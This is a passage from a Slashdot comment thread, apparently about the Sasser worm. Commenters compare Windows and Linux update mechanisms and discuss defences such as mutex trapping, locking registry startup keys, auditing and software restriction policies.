    73. Re:I Use X Windows by ratsnapple+tea · · Score: 1

      Dropping to a shell and typing apt-get dist-upgrade is intuitive?

    74. Re:I Use X Windows by TheSpoom · · Score: 1

      Yeah. Lots of dependancy problems from Windows Update, for sure.

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    75. Re:I Use X Windows by Anonymous Coward · · Score: 0

      #9028507)
      While the reboot may take a minute or two, it's certainly not on the order of 4 hours...

      "The reboot"? Surely you mean reboots?
      emerge -uD doesn't usually require 4 hours. First of all there will be just a few updates if you maintain your system and check for updates on a regular basis. Secondly you can run the update process in the background. I'm running it as I write this and don't even notice it.
      Watching a divx, surfing the web etc. as portage does its job is no problem whatsoever. Even if an update would take 4 hours it would not be a big deal bacause I can still use the pc during that time. Of course the story may be different if you are using an older pc.

    76. Re:I Use X Windows by Anonymous Coward · · Score: 0



      That's the "Witty Worm". Google it.

    77. Re:I Use X Windows by Anonymous Coward · · Score: 0

      Then you haven't heard about the latest Windows 2000 update? It can lock users out!

    78. Re:I Use X Windows by trompete · · Score: 1

      Amen to that. I compile stuff like apache and php to use special modules, but I don't have the patience for openoffice or some other large product. Downloading binaries rocks!

    79. Re:I Use X Windows by jez9999 · · Score: 1

      Everyone else requests that the X consortium stuff their suggestion up their ass and let people call it whatever the hell they want!

    80. Re:I Use X Windows by Shaklee39 · · Score: 1

      Except there is a reason to reboot for most updated. When you are replacing a core component of the operating system, it needs a reboot.

    81. Re:I Use X Windows by SirTalon42 · · Score: 1

      Actually, opening a console and typing 'apt-get update && apt-get dist-upgrade' is all you have to do. Of course you could use a UI for it like Synaptic. Or you could make a shell script that does it all for you that is set UID root and just double click on it from your desktop (I perfer typing 'apt-get update && apt-get dist-upgrade' though).

    82. Re:I Use X Windows by SirTalon42 · · Score: 1

      That means double the space required (at least).

    83. Re:I Use X Windows by SirTalon42 · · Score: 1

      I installed FreeBSD perfectly, though every time I get to the boot menu it just doesn't let me boot anything, regardless of the configuration I use, it being on real hardware, or in VMware

      I love the mascot though

    84. Re:I Use X Windows by reallocate · · Score: 4, Interesting

      Well, as they say, YMMV.

      I don't use a Windows machine from the adminstrator account. When I need to run Update, I switch over and do it as the administrator. I read before I install, and I don't install nonapplicable updates. I don't trust anyone's automagic updaters.

      When I've used Gentoo, it's been as a desktop machine. I've installed it 3, maybe 4, times, always building from the minimal install (the one that takes a day and a night, and most of the second day...). I don't much about and I don't install "foreign" software. Every time I've used Gentoo, it goes belly up after I've installed some update or another.

      Gentoo may have an excellent packaging system, but I don't have time or energy or purpose to become an expert on one more proprietary packaging and updating scheme.

      Linux touts "choice" all the time, and rightly so. But the fact is that having a plethora of distribution-specific packaging schemes is a major pain that limits choice.

      So long as the Linux community fails to agree to, implement, and use a single packaging and updating scheme, Linux will be a nonstarter outside the geek and corporate worlds.

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    85. Re:I Use X Windows by SpectreGadget · · Score: 1

      I'm using apt-get by Axel Thimm for my FC1 install running MythTV, not Debian. I'm not a big linux guy, so i appreciate all the work Axel does to keep it going.

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    86. Re:I Use X Windows by SpectreGadget · · Score: 1

      Nope, absolutely not! I've yet to see anything in Linux that is, except maybe "reboot". :)

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    87. Re:I Use X Windows by pantherace · · Score: 2, Insightful
      My point was not that NT was not technically a multi-user system (depending on definitions), but was that everyone seems to still consider it one at heart, and act as if it is.

      Could you point some of these programs out? I have searched for them, and honestly can't find them.

      And I don't disagree about Norton being overpriced.

    88. Re:I Use X Windows by GreyPoopon · · Score: 0, Troll
      Windows update rarely requires more than a click on an "I accept" button, and one reboot.

      Assuming that you only have one patch to install... Where I work, they create a periodic image with the OS and all the other goodies we use. When a machine has to be re-imaged, the user gets to spend the next several HOURS installing patches. This is because there are about 50 billion patches since last September, and must of them must be installed exclusively of any others, followed by a reboot. Although each patch only takes about 10 minutes or so to download and install, you have to add at least another 5 minutes per reboot (longer for the Windows 2000 machines that spend nearly ten minutes "saving your settings..."), and it really takes a LONG time to get through the process. Anybody that has to have their machine re-imaged prepares for a full day of lost productivity.

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    89. Re:I Use X Windows by BlowChunx · · Score: 1

      I'm using apt-get by Axel Thimm for my FC1 install running MythTV, not Debian.

      Wow, I knew MythTV was big, but didn't realize it was its own distro now .

    90. Re:I Use X Windows by brian728s · · Score: 0

      Does that mean I get 6 bows?

    91. Re:I Use X Windows by Anonymous Coward · · Score: 0

      Windows itself contains a means of publishing applications to workstations, but I think it requires activedirectory.

      Back in the day, we just used login scripts to pull down software.

    92. Re:I Use X Windows by GbrDead · · Score: 2, Informative

      you could make a shell script that does it all for you that is set UID root
      No, you can't. Linux ignores the suid flag on scripts.

    93. Re:I Use X Windows by Anonymous Coward · · Score: 0

      Is this one such program :

      http://www.autopatcher.com/

      ?

    94. Re:I Use X Windows by temojen · · Score: 1

      Get a sense of humour.

      Come to think of it, this applies to almost everyone who's replied to my post.

    95. Re:I Use X Windows by Anonymous Coward · · Score: 0

      It's also called 'X Windows'....someone called it that several posts about this one.

      If American's can spell English words any way they like, then why can't people call X 'X Windows'?

    96. Re:I Use X Windows by Cheval · · Score: 0

      It's a program that advances the date by one day. You have to run it at midnight each night or else you'll be a day late and a dollar short.

    97. Re:I Use X Windows by Reducer2001 · · Score: 1

      I was referring to Windows Update. We have about 300 machines and 15-odd laptops at our company. We have frequent problems with Windows Update causing web-apps to break.

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    98. Re:I Use X Windows by talaphid · · Score: 1

      What does the "emerge sync..." or "apt-get" icon look like? That's a lot of reading, too - what makes it obvious that those are the update tools versus, say, rm?

    99. Re:I Use X Windows by Anonymous Coward · · Score: 0

      WinBatch

      http://www.winbatch.com/

      Shell scripting for Windows that doesn't suck.

    100. Re:I Use X Windows by Epistax · · Score: 1

      What is this 'Windows Update' of which you speak?

      It's like 'Weekend Update', but funny.

    101. Re:I Use X Windows by reallocate · · Score: 1

      I've no reason to doubt your experience with Windows Update. Update seems intended for singleton desktop machines, which is how I use it these days. The fault with all updating schemes is that they must make a set of basic assumptions about the machine they will be upgrading. As soon as you deviate from that base, you're probably in trouble. The amount of software running on Windows is so large that MS cannot test against all of it before releasing an update.

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    102. Re:I Use X Windows by TCaptain · · Score: 0, Troll

      Get a clue yourself "jerkoff"

      rarely do you only reboot once when installing updates.

      even worse on a fresh "reinstall" (another quaint windows custom)

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    103. Re:I Use X Windows by pediddle · · Score: 1

      How about:

      Apple Menu -> Software Update...

      um, that's it.

    104. Re:I Use X Windows by TechniMyoko · · Score: 0

      This is slashdot, blatant insults are not called humour here, its called trolling

    105. Re:I Use X Windows by flatface · · Score: 1
      4 hours? Heh. Last time I updated 'world' was.. Uh.. November, was it? I started updating last night on my Celeron 750.

      flatface@sloth hd2 $ emerge -upv world |grep ebuild -c

      547

      This is going to take a while x.x

    106. Re:I Use X Windows by Kevitt · · Score: 1

      Remote Installer - http://www.compulsionsoftware.com Saved me the $50.00 reg fee first time I used it.

    107. Re:I Use X Windows by shadowbearer · · Score: 1


      YMMV, indeed.

      I'm still running the Gentoo install I did more than a year ago. Other than kernel experimentation, I've never had a bellyup Gentoo install (and even with kernel experiments, I've left a lilo option for going back to the old kernel, so it's simply a matter of rebooting).

      I've run -u system and -u world, etc, out of a cron job every week for the past 8 months, and the only breakage I've experienced has been in a couple of applications (xmms and xine, particularly). No system breakage, and I've there's only been a couple times that I've spent more than an hour or so fixing anything serious (not since September, IIRC)

      I also have a lot (!! grass and a lot of wine/win app installs on this system) of stuff installed that can "break" things. About 18 GB of system + software, AMAF.

      That contrasts, to me, with the 8 years I ran windows (3 years on this same box) and the frequent breakage I encountered there. Hell, I spent a couple hundred hours just fucking with SBLive windows drivers a few years ago. I've not spent anywhere near that time diagnosing *all* the problems on my Gentoo box.

      So, YMMV, oh, yes. Need some help with Gentoo? ;)

      SB

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    108. Re:I Use X Windows by jaelle · · Score: 1

      Yeah..I need a VoIP client for the phone service I use for work. There isn't a linux client for it. Haveta run Windows or I can't work (though if anyone knows a workaround, I'd love to dump Windows)

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    109. Re:I Use X Windows by Anonymous Coward · · Score: 0

      yum update

    110. Re:I Use X Windows by Anonymous Coward · · Score: 0

      www.shavlik.com.

      It beats the hell out of the SUS stuff. Trust me I tried that garbage. Setup group policies, put computer accounts in, setup their automatic udpates, blah blah. I about clawed my eyes out after I realized how it works in the end.

      Shavlik basically takes the hfnetchk.exe utility to the next level, far beyond.

      It costs a bit but it will save you so much time. I scan 3 subnets from my desk every week and remotely push windows + office updates to anyone who isn't patched or missed the patch last time.

      They get applied on their next reboot or at 3 am if they haven't done so yet.

    111. Re:I Use X Windows by DeadAgent · · Score: 1

      The Patch for this Came out Just over 2 Weeks ago

    112. Re:I Use X Windows by pantherace · · Score: 1
      Thank you, I likely won't purchase it, unless it works well with , but IF it does what it claims to, it so far is the only one which seems to be what I was asking for.

      Also provided a way to make an MSI from a non-MSI package, so that may help to some extent. Thank you to everyone so far who has tried to find something like this. It just seems that windows doesn't have the capability to yet do what any linux distro that has emerge or apt like package management can do.

    113. Re:I Use X Windows by reallocate · · Score: 1

      >> Need some help with Gentoo?

      Uh, no. If a distribution breaks during routine and normal maintenance, I stop using it.

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    114. Re:I Use X Windows by Anonymous Coward · · Score: 0

      Good luck running a process that needs to stay running while you reboot.

      Try again yourself?

    115. Re:I Use X Windows by gstoddart · · Score: 1

      Oh, and here I was looking for KB835731. Silly me.

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    116. Re:I Use X Windows by Anonymous Coward · · Score: 0

      Windows Installer SDK + Group Policy. That does exactly what you want. You package updates in MSI and publish them to machines via group policy.

    117. Re:I Use X Windows by UserGoogol · · Score: 1

      Maybe not, but it's insanely simple and that's good enough for most purposes.

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    118. Re:I Use X Windows by glitch23 · · Score: 1

      Use Group Policies in Active Directory to deploy applications across a Windows 2000 domain.

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    119. Re:I Use X Windows by phasm42 · · Score: 1

      A couple things to note: Linux distributions update the software that comes with the distribution, which is usually quite a bit. I suppose if Windows came with a lot more software (i.e., a "Windows" distribution), Microsoft would provide a way to update this all automatically, but for some reason I don't think most the people here would like that. Secondly, Linux distributions can do what they do because of the nature of the software licenses. With most software designed to run under Windows, MS would have to get permission from each individual company to provide updates. The GPL gives Linux distributions a nice edge when it comes to updating the system.

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    120. Re:I Use X Windows by SpectreGadget · · Score: 1

      I guess you don't know what FC1 is then.

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    121. Re:I Use X Windows by sharkey · · Score: 2, Funny

      Too bad I'm too busy drinking beer and watching porn to attend to your request.

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    122. Re:I Use X Windows by Loonacy · · Score: 1

      I've even been compiling things while playing games and I don't notice any performance loss. It's much better than watching the compiler lines march across my terminal.

    123. Re:I Use X Windows by darkonc · · Score: 1
      NT has been a multi-user system since its inception.

      I'd describe it as single-user multi-login. NT doesna't do a very good job of handling multiple users at the same time.

      Two simple examples:

      • Localtime on the hardware clock & timstamps. This makes life difficult if you have two users in different timezones.
      • context switching is painfully slow (this is part of the reason why MS-Windows has such a heavy reliance on multi-threading). One user with a background task can be annoying. 2 or more users doing the same thing would be almost unusable.
      It's not that Windows can't do it, but it has to jump thru all sorts of hoops to allow it to happen. It's multiuser capable but it's inherently a single-user system.

      Unix/Linux, on the other hand, is inherently multi-user with the degenerate case of N==1 for a single user system. Linux actually has to jump thru a couple of hoops to deal with the single- user- wants- to- think- he- owns- the- box paradigm.

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    124. Re:I Use X Windows by darkonc · · Score: 1
      Most of the time, the updates take no longer than 10 minutes... without requiring a reboot and without making the system slow or unresponsive.

      BWAH HAHAHAHAHAHAHAH!!!

      I've updated two friends' Windows boxes, now. The first big service pack took Hours to install. First time it happened, I thought there was just something wonky about the box.. Second time, I started calling it a pattern.

      After that, there were a dozen or so patches that took me the better part of a day to get them all installed. (start up a download, click on install, go do something else, come back, reboot) -- and that's despite the fact that at least one of them was doing the auto-update thingie.

      For Linux updates, I just start the process in the background and let it run while I do some real work on the same desktop. When I update my (very non-geek) roommate's box, the only reason I tell him what I'm doing is so that he doesn't shut down the box mid-update.

      --
      Sometimes boldness is in fashion. Sometimes only the brave will be bold.
    125. Re:I Use X Windows by darkonc · · Score: 1

      Who needs porn? Try getting a girlfriend (If you're really lucky, you can get a geek girlfriend who can do your updates for you -- in her skivies).

      --
      Sometimes boldness is in fashion. Sometimes only the brave will be bold.
    126. Re:I Use X Windows by darkonc · · Score: 1
      I've never had Windows Update break a machine.

      I guess you must be a Linux user, then.

      --
      Sometimes boldness is in fashion. Sometimes only the brave will be bold.
    127. Re:I Use X Windows by darkonc · · Score: 1
      Windows Update doesn't ask you a single question. It just gives you a list.

      As I rememvber it (It was a couple of weeks ago, and I don't have an XP box in the house anymore):

      • You go to the windows site, and find the windowsupdate thingy on the left.
      • You get a 'Click here to start the process'.
      • Then it's 'Click here to see what we've found for you'.
      • You then have to choose the stuff that makes sense and isn't likely to break your system.
      • If you chose two updates that need to be rebooted before the next step, then you have to decide (sorry -- guess) which one is best installed first.
      • Then it's 'click here to start the download'
      • (I can't remember if you have to click again after the download is finished).
      • After rebooting, start the whole process over again until there's nothing left to reboot after.
      • And that's just for one box.

      A lot? It only reboots once for critical updates that require it.

      There seem to be a lot of those (for me as someone used to Linux).

      I admit, it's gotten better. With earlier MS-Windows system you pretty much had to reboot after every update (and sometimes restart the entire install if you forgot). Nontheless, I've still had monolithic update sessions for XP where I've stopped counting the number of reboots I've had to do.
      With Linux, you you never have to reboot more than once (and even then, only if you've replaced the kernel).

      Uh, what dependencies have you had to resolve for Windows Update?

      That's the kicker: They don't tell you. You have to guess. I think that this is what results in people's systems being broken after an update -- a dependency that nobody bothered to warn users about.

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      Sometimes boldness is in fashion. Sometimes only the brave will be bold.
    128. Re:I Use X Windows by Codifex+Maximus · · Score: 1

      > Windows - Where do you want to go today?
      > Linux - Where do you want to go tomorrow?
      > BSD - Are you guys coming or what? ;)

      Hmm... I'd change it a bit.
      Windows - Guess where MS wants you to go today.
      Linux - You want to go where?
      BSD - Been there done that.

      P.S.
      SCO - We ain't goin.

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      Codifex Maximus ~ In search of... a shorter sig.
  3. Mutex Trapping by Mr.+Darl+McBride · · Score: 5, Interesting
    About the first thing any Windows program does is to attempt to acquire a mutex to see if the program is already running. In the case of this worm, that's "Jobaka3l." If that exists, the worm dies off without running.

    Mutexes are named consistently enough under Windows that I wish somebody would make a program that simply caught all attempts at gaining a mutex and popped up a dialog window if the mutex hadn't been seen before. This would stop most any new software from running without first checking with the user. This is no good for a server of course, but ideal for a workstation.

    This would also be great for catching spyware crap installs, as well as things like the RealPlayer toolbar that keeps popping up adverts by default. Simply tell the mutex checker to decline the requested mutex from then on and it would have the mutex always fail from then on -- then those programs could never be run again.

    1. Re:Mutex Trapping by Mr.+Darl+McBride · · Score: 3, Interesting
      For that matter, how hard would it be to restrict which programs are allowed to create files with runnable extensions without prompting?

      Why can't we have something that protects the registry and pops up whenever something wants to go into software/microsoft/windows/run, /runonce, runonceex, etc? 3/4 of the stuff that goes in there, I end up ripping out later. It's dumb that it's so easy for programs to install things there.

    2. Re:Mutex Trapping by Anonymous Coward · · Score: 0

      In fact symantecs worm blocker does exactly this...looks for mutex names of spyware.

    3. Re:Mutex Trapping by The+Raven · · Score: 4, Informative

      Toolbars and similar items would not be prevented by blocking mutex's as far as I know, because they don't create one. They run under the IE process.

      However, for most other types of spyware I completely agree, that would be an excellent idea for screening running processes.

      --
      "I will trust Google to 'do no evil' until the founders no longer run it." Hello Alphabet.
    4. Re:Mutex Trapping by Joe+U · · Score: 3, Informative

      Interesting concept, but many programs use lots of mutexes, and some don't use them at all.

      Imagine running something complex like a database server. Dialog box fun.

      The virus writers will just use something else, like a file, if people tracked by mutex.

    5. Re:Mutex Trapping by Anonymous Coward · · Score: 5, Informative

      You can set permissions in the registry per key.

      Make it impossible to write to HKLM/software/microsoft/windows/currentversion/run

    6. Re:Mutex Trapping by Mr.+Darl+McBride · · Score: 1
      Interesting concept, but many programs use lots of mutexes, and some don't use them at all.

      Imagine running something complex like a database server. Dialog box fun.

      Yeah. I guess with something like that, you could have accept/deny mutex, as well as accept/deny app. Then something like C:/SOME/PATH/TO/MSQL.EXE could be allowed to run unencumbered from then on if its MD5 hash hadn't changed.
    7. Re:Mutex Trapping by Saint+Aardvark · · Score: 1

      Cool! How?

    8. Re:Mutex Trapping by SchnauzerGuy · · Score: 2, Insightful

      Creating a mutex at startup is by no means universal, and in fact, I doubt that very common at all.

      If there was a mutex checker/blocker program developed, you would just see worm authors switch to a different method of determining if their worm was already running, or randomize the mutex name.

    9. Re:Mutex Trapping by eyeye · · Score: 2, Insightful

      Many modern firewalls allready flag up applications running and allow you to block them.

      They dont rely on mutexes either.

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      Bush and Blair ate my sig!
    10. Re:Mutex Trapping by stef0x77 · · Score: 5, Informative

      Use regedt32.exe (which is an older incarnation of regedit), go to the key in question, choose Security | Permissions ... from the menu etc...

    11. Re:Mutex Trapping by Anonymous Coward · · Score: 0

      Randomizing a mutex name really defeats the purpose of the mutex.

      The concept behind using a mutex is to stop reentrancy (is that a real word?) in a cricital section across applications.

      If you randomize it, you might as well take it out.

    12. Re:Mutex Trapping by kyhwana · · Score: 5, Informative

      Err, Startup Monitor does just that.
      Well, it doesn't protect the registry, but it does pop up a dialog box whenever something tries to add itself to those registry entries..

      --
      My email addy? should be easy enough.
    13. Re:Mutex Trapping by cscx · · Score: 4, Informative

      Run "regedit", then right click any key, and select "Permissions" -- you get a standard NTFS permissions box to fiddle with at your leisure.

      Note this only works on NT-based systems (e.g., WinXP)

    14. Re:Mutex Trapping by Saint+Aardvark · · Score: 1

      Coolness...thanks for the tip.

    15. Re:Mutex Trapping by Verteiron · · Score: 4, Informative

      It exists already. There are several, some free, some not, but the most useful (and free!) one I've found so far is the brand-new Spybot TeaTimer. It's available with the newest release candidate. You can download that here (link at the bottom of the forum post). Just run Spybot SD, do the immunization and such, run the scan, then switch it to Advanced mode and activate the "resident protection". Bingo. Nothing will ever write itself into your startup, or install a BHO, or toolbar, or change your homepage, without your knowledge and permission. Bear in mind it's a release candidate and there may be bugs; I know the Teatimer sometimes shuts off when you run the main Spybot program, and you have to go activate it again. Other than that it seems to work like a charm.

      --
      End of lesson. You may press the button.
    16. Re:Mutex Trapping by Mr.+Darl+McBride · · Score: 2, Insightful
      Worms and spyware will simply use a home-made mutex system if we start to block the windows one.

      In general, the idea of catching windows library calls is worthless, unless the library call is absolutely necessary to the worm and the functionality cannot be done in any other way (which is not the case in Mr. Darl McBride's example).

      Of course. They're going to work around any countermeasure if it goes into popular use. Once upon a time, all programs were allowed to write to the entire filesystem. Remember bootsector viruses? They finally reworked the filesystem and device layer so that user code couldn't touch that area anymore, and those kinds of infections went away. Remember Word macro viruses? New versions of Office warn you about macros that want to run on opening a doc, and those are rapidly vanishing as well.

      Similarly, short of reworking the way programs are installed and authorized, nothing is going to work as the long-term solution. That's why Longhorn and the .NET execution framework thange these things exactly.

      The mutex check is merely one option which doesn't seem to be in wide-spread use yet. I'm sure there are many others, and yes -- any of them would eventually get worked around for new viruses and trojans.

    17. Re:Mutex Trapping by Mr.+Darl+McBride · · Score: 1
      Randomizing a mutex name really defeats the purpose of the mutex.

      The concept behind using a mutex is to stop reentrancy (is that a real word?) in a cricital section across applications.

      You could certainly randomize the generation scheme, however. A hash on the system name and the date would limit additional infections to one per day, for example.
    18. Re:Mutex Trapping by Mr.+Darl+McBride · · Score: 0, Redundant
      Err, Startup Monitor does just that
      Sexcellent! Thank you!
    19. Re:Mutex Trapping by cowbud · · Score: 1

      This is a great idea, but there is one flaw. Viruses/Worms can just kill this mutex identifiying agent. What do you think happens when people try to scan their drives with known virus scanners to remove these problems? The virus scan just quietly quits. In some cases the gui for the virus scan is just a frontend and killing the backend correctly can make the gui report no viruses found. For something like this to work it would have to be inserted in to the kernel, a process can be killed.

    20. Re:Mutex Trapping by chachob · · Score: 2, Informative

      WinPatrol does this as well, along with protecting/watching many other aspects of the system for potentially unwanted changes.

    21. Re:Mutex Trapping by Foolhardy · · Score: 5, Informative

      You can also enable auditing that will record attempts to access keys you want to watch in the same dialog (see Advanced->Auditing). But first, you have to enable the auditing policy: in the control panel, go to Administrative Tools->Local Security Policy. Then Local Policies->Audit Policy. Registry keys are considered objects.
      Access attempts will show up in the event viewer.
      Note:use regedt32.exe for Win2000 or eariler. For later versions, regedit.exe does everything (under Edit->Permissions).

    22. Re:Mutex Trapping by Foolhardy · · Score: 1
      Yeah. I guess with something like that, you could have accept/deny mutex, as well as accept/deny app. Then something like C:/SOME/PATH/TO/MSQL.EXE could be allowed to run unencumbered from then on if its MD5 hash hadn't changed.
      Like software restriction policies? You can create allow/disallow rules for any/all binaries based on path, hash, filename, internet zone, or certificate on win2k and later. See Control Panel->Admin. Tools->Local Security Policy->Software Restriction Policies.
    23. Re:Mutex Trapping by omicronish · · Score: 1

      Err, Startup Monitor does just that. Well, it doesn't protect the registry, but it does pop up a dialog box whenever something tries to add itself to those registry entries..

      I wonder, is it possible to restrict permissions to those startup registry keys and prevent all users, including Administrators, SYSTEM, and SERVICES from writing to keys? Granted, Administrators and SYSTEM could probably get around it by resetting permissions, but programs would have to specifically reset them to add themselves. This is something I doubt any current worm or spyware does.

    24. Re:Mutex Trapping by asmellysock · · Score: 1

      If you are using XP, you don't need to use RegEdit32. THe regular regedit allows you to set key permissions. Right-click on the key and select "Permissions". Note that it is the key (in the left pane), not the key's values (in the right pane) that can have permission set.

    25. Re:Mutex Trapping by Anonymous Coward · · Score: 0

      Of course theres a way - install Linux :)

    26. Re:Mutex Trapping by Homology · · Score: 0
      Mutexes are named consistently enough under Windows that I wish somebody would make a program that simply caught all attempts at gaining a mutex and popped up a dialog window if the mutex hadn't been seen before. This would stop most any new software from running without first checking with the user. This is no good for a server of course, but ideal for a workstation.

      Pure drivel.

    27. Re:Mutex Trapping by slashkitty · · Score: 1

      Randomizing the name would not help, it would still be a new mutex name and would still be caught. It could try to use an existing mutex name, but then it has the chance of that program already running. The only cure would be not to use a mutex.

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      -- these are only opinions and they might not be mine.
    28. Re:Mutex Trapping by soulhuntre · · Score: 1

      YOu have to love it how many times someone says "Windows permissions suck!" and then later int he thread it turns out they have all the features someone wanted :)

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    29. Re:Mutex Trapping by Mr.+Darl+McBride · · Score: 1

      I'm a Windows neophite. Is there a way to get a pop up instead of having to check the event logs? Or do you know of a tool for mailing or otherwise presenting the logs on a regular basis?

    30. Re:Mutex Trapping by Halfbaked+Plan · · Score: 1

      This is no good for a server of course, but ideal for a workstation.

      No, it's fine also for a server, since a server generally has fixed software on it that runs unchanged. The dialogue might pop up (or show up in a log) while the admin is setting up and configuring the system, but it wouldn't impede proper operation of the server.

      --
      resigned
    31. Re:Mutex Trapping by Anonymous Coward · · Score: 0

      Just run Spybot SD, do the immunization and such, run the scan, then switch it to Advanced mode and activate the "resident protection".

      I'm going to remember that next time someone says that Linux commands are too complex :)

      Perhaps the real lesson, though, is that making any OS really secure requires a fair amount of tweaking. Perhaps too much for the average user?

    32. Re:Mutex Trapping by Anonymous Coward · · Score: 0

      Of course theres a way - install Linux :)

      Har har har. Har har har har har.

    33. Re:Mutex Trapping by mytec · · Score: 1

      For that matter, how hard would it be to restrict which programs are allowed to create files with runnable extensions without prompting?

      Lavasoft has products that do some of what you are asking about. However, I think the functionality that you are requesting should be provided by Microsoft and not be something a user has to go out and purchase.

    34. Re:Mutex Trapping by TechniMyoko · · Score: 0

      I did that, I love how nothing starts with windows without my permission. I locked a few other keys pertaining to IE so no spyware can touch my settings

    35. Re:Mutex Trapping by Anonymous Coward · · Score: 0

      Honestly, if you think CLICKING on a link on a website to download a program, running said program, selecting "Advanced mode" when you install it (or later clicking on a button and selecting "Advanced Mode" and then clicking a button marked "Tools" and clicking one more button that marked "Resident protection" is too advanced (5 clicks of a mouse, by my count -- not a single command line entry typed in, not a single arcane, undocumented -f or whatever switch to by entered) then you really, really have fallen for your own propaganda. There's a lot to be said for Linux and all the other hobbyist OSes out there -- but ease of use is not one of them.

      Sorry, fellow AC.

    36. Re:Mutex Trapping by Anonymous Coward · · Score: 0

      Look for an "event log monitor" -- there's many of them out there.

    37. Re:Mutex Trapping by Anonymous Coward · · Score: 0

      > could be allowed to run unencumbered from then on if its MD5 hash hadn't changed

      You can configure Windows to only run applications which are signed or MD5 hashed. This is enforced by the executive. Google for "Software Restriction Policies"

    38. Re:Mutex Trapping by rabidcow · · Score: 1

      About the first thing any Windows program does is to attempt to acquire a mutex to see if the program is already running. In the case of this worm, that's "Jobaka3l." If that exists, the worm dies off without running.

      As someone who has written a number of Windows programs, I can tell you that that is not true at all: Most programs don't care if you run multiple instances.

      Aside from that, there's a number of people who still think FindWindow is a pretty good way to ensure single instances. There's a good reason for this (a few actually, but never mind the others because they're not as good), which is that it appears to work, sometimes. For a worm, that would certainly be good enough, since failure isn't terribly worrisome. There's a number of other techniques that almost work, any of which would be fine for a worm, where customer satisfaction is approximately 0% of the author's concern.

      What I'd rather see is a separation between "don't allow files to execute" and "don't allow subfolder traversal" in the ACLs. Then you could deny execute permission to various temp directories without breaking subdirectories.

      Actually, it's not too much of a problem, because another thing that most worms try to do right away is right into %windir% or system32. If you make people run as a restricted user, email worms are pretty well neutered. (mind you, I wouldn't trust that alone, not at all.)

    39. Re:Mutex Trapping by rookkey · · Score: 1
      I think the functionality that you are requesting should be provided by Microsoft and not be something a user has to go out and purchase.

      And then everyone complains about Microsoft abusing its monopoly position and running shareware developers out of business.

      Microsoft just can't catch a break in this anti-trust game, man.

    40. Re:Mutex Trapping by Anonymous Coward · · Score: 0

      It sure as hell doesn't work on Win2000, which is NT based. And by the way, it also doesn't work in NT. Just thought you'd like to know, so you can check your 'facts' before spouting bullshit.

    41. Re:Mutex Trapping by Anonymous Coward · · Score: 0

      its XP and later that method, on NT and 2000 u need regedt32.exe as regedit.exe was updated to include that functionality later.

    42. Re:Mutex Trapping by Foolhardy · · Score: 1
      What I'd rather see is a separation between "don't allow files to execute" and "don't allow subfolder traversal" in the ACLs. Then you could deny execute permission to various temp directories without breaking subdirectories.
      The reason that those permissions share the same bit is that 'execute' doesn't apply to directories and 'directory transversal' doesn't apply to files. To create an ACE (access control entry) that affects only one, change the way it is inherited.
      For example, you want to make everything under 'profiles' to deny execute permission to 'users'. Open the security tab on the profiles directory, go to advanced, press add. Select users. Change the 'Apply onto' listbox to 'Files only'. Select deny for 'Transverse folder/execute file' Then press OK, set 'Replace permission entries on all child objects...'(optional), press OK.
    43. Re:Mutex Trapping by rabidcow · · Score: 1

      The reason that those permissions share the same bit is that 'execute' doesn't apply to directories and 'directory transversal' doesn't apply to files.

      I know that, but it's not like bits are expensive.

      To create an ACE (access control entry) that affects only one, change the way it is inherited.
      For example, you want to make everything under 'profiles' to deny execute permission to 'users'. Open the security tab on the profiles directory, go to advanced, press add. Select users. Change the 'Apply onto' listbox to 'Files only'. Select deny for 'Transverse folder/execute file' Then press OK, set 'Replace permission entries on all child objects...'(optional), press OK.


      Hm, I thought I tried that... It does sound like that does exactly what I wanted, thanks. I guess I haven't played with it enough...

  4. Huh? by grub · · Score: 5, Funny

    A new worm?
    May 01 07:59:49.306654 rule 0/0(match): block in on dc0: xx.xx.xx.xx:xxxx > yy.yy.yy.yy:yyyy: S 2881286568:2881286568(0) win 32640 (DF)
    Oh, there it is.
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    1. Re:Huh? by markan18 · · Score: 1

      Im still getting hit by this worm here:
      15:40:04.113119 81.152.221.231.3999 > xx.xx.xx.xx.3127: S 1676479231:1676479231(0) win 65535 (DF)
      No new worm in sight.

  5. Removal Instructions by modifried · · Score: 5, Informative

    For anyone already infected, Microsoft has manual removal instructions for the worm, located here:

    http://www.microsoft.com/security/incident/sasser. asp

    1. Re:Removal Instructions by hound3000 · · Score: 2, Interesting
      For anyone already infected, Microsoft has manual removal instructions for the worm, located here: http://www.microsoft.com/security/incident/sasser. asp

      Looks like they just cut and pasted that page. Found in source code html...
      <TITLE>What You Should Know About the Blaster Worm and Its Variants</TITLE>
      <META NAME="Description" CONTENT="The W32.Blaster.Worm and its variants exploits a security issue that was addressed by Microsoft Security Bulletin MS03-026. This worm also has the potential to exploit a similar issue that is addressed by Microsoft Security Bulletin MS03-039. Learn how you can protect yourself from this worm."/>
    2. Re:Removal Instructions by sweet+cunny+muffin · · Score: 1

      So what?

    3. Re:Removal Instructions by blincoln · · Score: 4, Interesting

      Looks like they just cut and pasted that page.

      Do you create all your HTML documents from scratch?

      This worm release is pretty cool, I think. This is the first time I've got to see the patch deployment process I built with a couple of other people from my group send out patches to the entire company and get pretty much everybody taken care of before the worm was released. We built it from SMS SUS and a bunch of in-house components. 11,000 workstations across the country patched in less than a week, and we could have done it even faster in an emergency.

      Regular SUS took care of our servers a week ago.

      --
      "...always new atoms but always doing the same dance, remembering what the dance was yesterday." -Richard Feynman
    4. Re:Removal Instructions by /dev/trash · · Score: 1

      Asside from the very first line. Yes I do.

    5. Re:Removal Instructions by Anonymous Coward · · Score: 0

      I had this worn and with this instructions I get it out from my computer.

      Thanks,

      Caspitas from
      Billetes-de-avion

  6. ah Nice, more work =) by Quazion · · Score: 5, Funny

    Atleast for me as the local consumer support guy.

    Thanks Microsoft.

    1. Re:ah Nice, more work =) by w9wi · · Score: 2, Interesting

      Yeah, thanks a whole lot...

      We had a lot of grief with this one last night. (I'm going to be rich next Friday, after seven hours of overtime. I'd rather have had seven hours of sleep.)

      It seems to have some effects not attributed to Blaster - it appears to have flooded some of our own machines. (we're not windowsupdate.com!) For example, causing two SQL servers to reboot spontaneously at random intervals until we cut our connection to corporate HQ.

      We then got to spend several hours trying to figure out how to get a couple of mission-critical applications working when they connect to outside vendors on "strange" ports - and corporate has decided to cut off any ports they're not familiar with. Thank God for saving obsolete satellite receivers and a few hundred feet of RS-232 cable.

      A problem we had was proprietary applications whose vendors haven't qualified the patches.
      -----
      As for home users not patching...

      It's easy to belittle those who don't keep their systems patched to the latest revision. IIRC the appropriate patches for this one run to roughly 10MB. For dialup users, that's the better part of an hour of downloading. Often, tying up one's only phone for that period.

